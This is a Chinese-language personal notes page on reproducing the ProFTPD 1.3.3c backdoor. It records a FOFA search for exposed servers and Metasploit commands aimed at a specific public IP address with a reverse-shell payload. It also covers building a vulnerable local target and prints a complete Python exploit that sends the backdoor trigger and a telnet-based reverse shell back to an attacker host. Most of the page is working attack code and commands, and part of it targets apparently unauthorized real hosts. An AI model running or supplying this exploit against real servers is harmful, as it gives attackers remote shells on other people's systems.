https://www.whereisk0shl.top/post/proftpd-1.3.3chou-men-fen-xi
https://github.com/proftpd/proftpd
在官网和官方github上找了一圈1.3.3c版本的proftpd,应该是漏洞太多,官方把下了
https://blog.csdn.net/morrino/article/details/115836400 这个文章提供了一个部署1.3.3c版本的靶机
遂决定在fofa上找
app=“proftpd” && banner=“1.3.3c”
找到了一些,尝试使用msf利用下,试了一些个,都不存在漏洞
search ProFTPd-1.3.3c
use 0
show options
set rhosts 64.6.247.69
show payloads
set payload cmd/unix/reverse
show options
set lhost 192.168.18.137
exploit
https://www.exploit-db.com/exploits/15662 找到了存在后门的软件
安装 https://blog.csdn.net/feelinghappy/article/details/106817434
./configure --prefix=/usr/local/ftp && make && make install
#建立FTP组和FTP用户(用户名、用户组),设置密码
mkdir /opt/ftp_soft #创建用户的家目录
groupadd ftpgroup
useradd ftpadmin -g ftpgroup -d /opt/ftp_soft -s /sbin/nologin #创建并指定家目录
passwd ftpadmin
chown ftpadmin:ftpgroup /opt/ftp_soft -R #设置属主:数组,否则即时安装成功也没有权限
make && make install
#修改配置文件
vim /usr/local/ftp/etc/proftpd.conf
#修改
User ftpadmin
Group ftpgroup
DefaultRoot /opt/ftp_soft
#添加
PassivePorts 11100 11111 #被动模式端口段(数据传输)
DefaultAddress 192.168.18.137
#启动
/usr/local/ftp/sbin/proftpd
终于复现成功
#!/usr/bin/python
#coding:utf-8
#author:k0shl
import socket
import os
def exp_socket(RHOST,s):
try:
s.connect((RHOST,21))
str = s.recv(1024)
print str
return str
except Exception,e:
print e
return 0
def exploit(RHOST,s,cmd):
try:
s.send('HELP ACIDBITCHEZ\r\n')
s.send(cmd)
print "[+]Exploit send ok!"
except Exception,e:
print e
if __name__ == '__main__':
try:
print "攻击前请使用nc绑定端口,等待shell连接"
LHOST = raw_input("input shell ip:")
LPORT = raw_input("input shell port:")
RHOST = raw_input("input target ip:")
#LHOST = '172.16.39.141'
#LPORT = '4444'
#RHOST = '172.16.39.137'
print '[+]start connect to %s'%RHOST
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_result = exp_socket(RHOST,s)
if socket_result != 0:
if '220' in socket_result:
print '[+]Try to Exploit'
cmd = "nohup /bin/bash -c '(sleep 4184|telnet "+ LHOST + " " + LPORT +"|while : ; do sh && break; done 2>&1|telnet "+LHOST + " "+LPORT+">/dev/null 2>&1 &)' >/dev/null 2>&1\n"
exploit(RHOST,s,cmd)
s.close()
else:
print '[-]no vul!'
s.close()
else:
print '[-]connect to ip error!'
s.close()
except Exception,e:
s.close()
print e
还在想如何更好的直接验证漏洞的存在,而不是反弹shell